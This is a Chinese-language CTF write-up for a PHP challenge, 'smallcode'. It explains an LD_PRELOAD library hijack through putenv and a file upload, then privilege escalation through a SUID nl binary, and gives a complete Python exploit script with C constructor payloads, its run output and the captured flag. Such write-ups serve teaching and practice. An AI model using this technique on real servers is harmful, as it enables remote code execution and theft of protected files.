smallcode Writeup 1. 题目信息
题目名称 :smallcode
题目描述 :try to wget !!!
题目提示 :更新:1.txt没有执行的权限。
核心源代码 <?php highlight_file (__FILE__ ); if (isset ($_POST ['context' ])){ $context = $_POST ['context' ]; file_put_contents ("1.txt" ,base64_decode ($context )); } if (isset ($_POST ['env' ])){ $env = $_POST ['env' ]; putenv ($env ); } system ("nohup wget --content-disposition -N hhhh &" );
2. 漏洞分析 通过审计源码可以确认以下关键点:
任意文件上传 :file_put_contents("1.txt", base64_decode($context)) 允许通过 context 参数把任意内容(包括二进制)写入 1.txt。
任意环境变量设置 :putenv($env) 允许通过 env 参数设置任意环境变量。
命令执行触发 :system("nohup wget ... &") 触发了一个后台进程,且该进程会继承当前环境变量。
这三者组合指向经典的 LD_PRELOAD 动态链接库劫持 :上传一个恶意 .so,通过 LD_PRELOAD 指向它,随后触发 wget,使系统在启动 wget 时优先加载我们的库并执行任意代码,实现 RCE。
3. 解题思路与探索过程(The Journey) 这是一个逐步排错与策略调整的过程,关键阶段如下:
阶段一:初步尝试与碰壁 — 输出通道的死亡 尝试直接执行回显命令(如 cat /flag)并期望通过网页看到输出,但未见任何自定义输出。原因在于 system() 中使用了 nohup ... &,将 wget 后台化且与 PHP 的 stdout/stderr 脱离,因此无法通过页面直接回显命令输出。
阶段二:寻找出路 — 写入文件 既然不能回显,思路转为把结果写成可通过 HTTP 访问的文件。目标为:让服务器把 /flag 的内容写到一个位于 Web 可访问目录下的文件(如 /var/www/html/flag.txt),随后通过浏览器读取。
初次尝试失败,原因可能为:
没有 /var/www/html 的写权限;
无法直接读取 /flag(权限限制)。
阶段三:权限的斗争 — 寻找 SUID 后门 为了读取 /flag,必须提权。常见做法是寻找具有 SUID 的二进制(以 root 权限运行)。使用 find / -perm -4000(或等价方式)把 SUID 程序列表导出到可读取的文件并访问结果。
结果发现了一个可疑的 SUID 程序:/usr/bin/nl。nl 的常规功能是给文件加行号并输出,它本身不应需要 root 权限,这说明出题者故意放置了后门。
阶段四:终极一击 — 利用 nl 获取 Flag 利用 /usr/bin/nl(SUID)读取 /flag,将内容写到 /tmp/flag_out,再把该文件移动到 Web 根目录下,最后通过 HTTP 读取。
4. 最终攻击脚本(The Final Exploit) 下面 Python 脚本自动化了成功的攻击流程(分为“读取 → 移动 → 获取”三步):
import requestsimport base64import osimport reimport timeurl = "http://web-4a45411f82.challenge.xctf.org.cn/" def compile_and_send (c_code ): """一个辅助函数,用于编译C代码并发送payload""" with open ("exploit.c" , "w" ) as f: f.write(c_code) os.system("gcc -shared -fPIC -w -o exploit.so exploit.c" ) if not os.path.exists("exploit.so" ): print ("[!] FATAL: Compilation failed. Aborting." ) return False with open ("exploit.so" , "rb" ) as f: so_content = base64.b64encode(f.read()).decode() payload = {'context' : so_content, 'env' : 'LD_PRELOAD=/var/www/html/1.txt' } try : requests.post(url, data=payload, timeout=5 ) except requests.RequestException: pass return True try : print ("[*] Stage 1: Compiling and sending READ payload ('nl /flag > /tmp/flag_out')..." ) c_code_stage1 = """ #include <stdlib.h> #include <unistd.h> void __attribute__((constructor)) a_init(void) { unsetenv("LD_PRELOAD"); system("/usr/bin/nl /flag > /tmp/flag_out"); } """ if not compile_and_send(c_code_stage1): exit() print ("[+] Read request sent. Waiting..." ) time.sleep(2 ) print ("\n[*] Stage 2: Compiling and sending MOVE payload ('mv /tmp/flag_out ...')..." ) c_code_stage2 = """ #include <stdlib.h> #include <unistd.h> void __attribute__((constructor)) a_init(void) { unsetenv("LD_PRELOAD"); system("mv /tmp/flag_out /var/www/html/flag.txt"); } """ if not compile_and_send(c_code_stage2): exit() print ("[+] Move request sent. Waiting..." ) time.sleep(2 ) flag_url = url + "flag.txt" print (f"\n[*] Stage 3: Attempting to retrieve the final result from {flag_url} " ) response = requests.get(flag_url) if response.status_code == 200 and response.text: content = response.text.strip() print ("\n[SUCCESS] Flag file retrieved!" ) print ("--- Flag ---" ) print (content) print ("--------------" ) match = re.search(r'(flag\{[a-zA-Z0-9_-]+\})' , content) if match : print (f"\nExtracted Flag: {match .group(0 )} " ) else : print (f"\n[FAILURE] Could not retrieve flag.txt. Status code: {response.status_code} " ) except Exception as e: print (f"\n[!] A critical error occurred: {e} " ) finally : print ("\n[*] Cleaning up temporary files..." ) for f in ["exploit.c" , "exploit.so" ]: if os.path.exists(f): os.remove(f) print ("[+] Cleanup complete." )
5. 执行结果(示例) [*] Stage 1: Compiling and sending READ payload ('nl /flag > /tmp/flag_out')... [+] Read request sent. Waiting... [*] Stage 2: Compiling and sending MOVE payload ('mv /tmp/flag_out ...')... [+] Move request sent. Waiting... [*] Stage 3: Attempting to retrieve the final result from http://web-4a45411f82.challenge.xctf.org.cn/flag.txt [SUCCESS] Flag file retrieved! --- Flag --- 1 flag{iQwAqlrupeEUFbY1JcDUpwKBTJM1g5rX} -------------- Extracted Flag: flag{iQwAqlrupeEUFbY1JcDUpwKBTJM1g5rX} [*] Cleaning up temporary files... [+] Cleanup complete.
6. 总结 smallcode 是一道巧妙设计的 Linux Web 挑战题,考察点包括:
LD_PRELOAD 注入与动态库劫持原理;
对 nohup 与 & 导致的输出流脱离理解;
在无回显环境下使用写文件作为带外信道;
利用 SUID 程序做本地提权;
在受限环境下逐步侦察与逻辑推断的实战技巧。
整题的成功关键在于:
发现可以上传二进制 .so 并设置 LD_PRELOAD;
识别并利用被保留的 SUID 程序 /usr/bin/nl;
将读取结果写入 Web 可访问位置以完成信息外泄。
capture Writeup